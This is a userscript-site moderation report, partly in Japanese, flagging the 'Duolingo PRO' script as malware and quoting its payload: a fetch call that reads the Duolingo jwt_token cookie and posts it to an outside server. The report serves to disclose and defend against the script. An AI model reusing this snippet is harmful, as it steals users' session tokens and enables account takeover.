Sleazy Fork

Duolingo PRO は「マルウェア」で通報済み。2025/03/23

This script grabs the JWT token of duolingo and sends it to a fishy link code below:

let apiURL = "https://api.duolingopro.net";

This is the real payload part

            const response = await fetch(apiURL + "/feedback", {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    'Authorization': `Bearer ${document.cookie.split(';').find(cookie => cookie.includes('jwt_token')).split('=')[1]}`
                },
                body: JSON.stringify(payload)
            });

このスクリプトには、承認または修正済みの1回の通報があります。

anonymoushackerIV (通報されたユーザー) の活動:

• 1 個のスクリプト
• 97 回のコメント

interstellar (通報されたユーザー) の活動:

• 1 個のスクリプト
• 0 回のコメント

この通報は管理担当者に承認されました。